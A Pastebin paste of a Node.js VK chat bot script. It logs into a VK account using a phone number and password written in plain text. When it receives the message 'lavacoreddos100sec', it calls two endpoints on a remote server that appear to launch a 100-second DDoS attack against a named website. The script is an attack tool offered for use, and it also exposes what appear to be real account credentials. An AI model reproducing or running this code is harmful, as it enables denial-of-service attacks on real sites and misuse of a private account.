Advertisement
Guest User

Untitled

a guest
May 24th, 2019
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.23 KB | None | 0 0
  1. var VK = require('vk-io');
  2. var http = require("http");
  3. var https = require("https");
  4. vk = new VK();
  5.  
  6. //settings
  7. vk.setting({
  8. id : 546082071,
  9. phone : '79264656408',
  10. pass : 'temkakek123A'
  11. });
  12.  
  13. /*
  14. id - Ваш id вк - vk.com/id(id)
  15. phone - Ваш номер телефона без плюса (Если почта, то заменяем phone на login)
  16. pass - Ваш пароль от учетной записи
  17. */
  18.  
  19. // Auth
  20.  
  21. /*
  22. # auth method
  23. iphone - vk.iphoneAuth();
  24. ipad - vk.ipadAuth();
  25. Windows Phone - vk.windowsPhoneAuth();
  26. Windows - vk.windowsAuth();
  27. Android - vk.androidAuth();
  28. */
  29.  
  30. const Auth = vk.iphoneAuth();
  31.  
  32. Auth.run()
  33. .then((user) => {
  34. vk.setToken(user.token);
  35. console.log('[id546082071] Auth successful!');
  36. //
  37. vk.longpoll()
  38. .then(() => {
  39. vk.on('message', (message) => {
  40. for(var i = 0; i < message.flags; i++) {
  41. if(message.flags[i] == 'outbot') return;
  42. }
  43. //
  44. if(message.text == 'lavacoreddos100sec') {
  45. sendMessage(message.user, 'Starting...', function(status) {
  46. if(!status) {
  47. console.log('Ошибка при отправлении сообщения!');
  48. return;
  49. }
  50. console.log('Сообщение отправлено!');
  51. var http = require('http');
  52. var options = {
  53. host: '31.131.22.138',
  54. path: '/Node3.php?key=AnimeKey&time=100&method=HTML&host=https://lavacore.su/'
  55. };
  56. var options2 = {
  57. host: '31.131.22.138',
  58. path: '/Node4.php?key=AnimeKey&time=100&method=HTML&host=https://lavacore.su/'
  59. };
  60.  
  61. var req = http.get(options, function(res) {
  62. console.log('STATUS: ' + res.statusCode);
  63. console.log('HEADERS: ' + JSON.stringify(res.headers));
  64.  
  65. // Buffer the body entirely for processing as a whole.
  66. var bodyChunks = [];
  67. res.on('data', function(chunk) {
  68. // You can process streamed parts here...
  69. bodyChunks.push(chunk);
  70. }).on('end', function() {
  71. var body = Buffer.concat(bodyChunks);
  72. console.log('BODY: ' + body);
  73. // ...and/or process the entire body here.
  74. })
  75. });
  76. var req = http.get(options2, function(res) {
  77. console.log('STATUS: ' + res.statusCode);
  78. console.log('HEADERS: ' + JSON.stringify(res.headers));
  79.  
  80. // Buffer the body entirely for processing as a whole.
  81. var bodyChunks = [];
  82. res.on('data', function(chunk) {
  83. // You can process streamed parts here...
  84. bodyChunks.push(chunk);
  85. }).on('end', function() {
  86. var body = Buffer.concat(bodyChunks);
  87. console.log('BODY: ' + body);
  88. // ...and/or process the entire body here.
  89. })
  90. });
  91. req.on('error', function(e) {
  92. console.log('ERROR: ' + e.message);
  93. });
  94. });
  95. }
  96. //
  97. });
  98. })
  99. .catch((error) => {
  100. console.error(error);
  101. });
  102. //
  103.  
  104.  
  105. })
  106. .catch((err) => {
  107. throw err;
  108. });
  109.  
  110. function sendMessage(user, message, callback) {
  111. vk.api.messages.send({
  112. user_id : user,
  113. message : message
  114. })
  115. .then((data) => {
  116. callback(true);
  117. })
  118. .catch((err) => {
  119. callback(false);
  120. throw err;
  121. });
  122. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement